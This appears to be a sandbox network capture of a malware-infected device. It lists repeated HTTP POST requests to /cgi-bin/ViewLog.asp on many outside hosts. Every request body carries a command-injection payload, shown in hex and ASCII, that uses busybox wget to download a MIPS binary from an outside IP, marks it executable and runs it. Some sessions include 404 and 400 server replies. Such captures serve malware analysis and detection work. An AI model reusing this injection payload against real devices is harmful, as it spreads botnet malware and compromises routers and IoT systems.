                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:09.924582958 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:10.519799948 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.671792030 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.103697062 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                961192.168.2.153736294.46.171.448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:09.963423967 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:10.158014059 CET272INHTTP/1.1 404 Not Found
                                                Connection: keep-alive
                                                Content-Length: 74
                                                Content-Type: text/html
                                                Date: Thu, 23 Nov 2023 04:23:10 GMT
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>Error</title></head><body>404 - Not Found</body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                962192.168.2.155359631.136.74.1018080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:09.969448090 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:13.079758883 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                963192.168.2.154261685.235.135.2178080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:09.978954077 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:10.174123049 CET556INHTTP/1.1 400 Bad Request
                                                Content-Type: text/html; charset=us-ascii
                                                Server: Microsoft-HTTPAPI/2.0
                                                Date: Thu, 23 Nov 2023 04:23:10 GMT
                                                Connection: close
                                                Content-Length: 311
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                964192.168.2.155265894.173.64.1028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.000752926 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:10.229901075 CET354INHTTP/1.0 404 Not Found
                                                Date: Thu, 23 Nov 2023 04:23:10 GMT
                                                Connection: close
                                                Content-Type: text/html; charset=ISO-8859-1
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                965192.168.2.155337262.29.101.148080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.006901979 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                966192.168.2.154459694.122.23.2118080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.022552967 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                967192.168.2.154623031.220.55.1808080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.143142939 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                968192.168.2.155442495.86.100.958080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.230187893 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                969192.168.2.155872094.61.12.428080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.241075993 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.319771051 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                970192.168.2.153511694.122.224.2398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.256396055 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                971192.168.2.154013094.187.107.358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.471510887 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                972192.168.2.153831094.122.10.938080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.471661091 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                973192.168.2.155558694.71.231.838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.471760035 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:10.696958065 CET1340INHTTP/1.0 404 Not Found
                                                Server: http server 1.0
                                                Content-type: text/html
                                                Date: Thu, 23 Nov 2023 04:23:06 GMT
                                                Last-modified: Thu, 23 Nov 2023 04:23:06 GMT
                                                Accept-Ranges: bytes
                                                Connection: close
                                                Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 20 75 72 6c 28 27 2f 63 67 69 2d 62 69 6e 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2f 65 72 72 5f 62 67 2e 6a 70 67 27 29 3b 0a 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 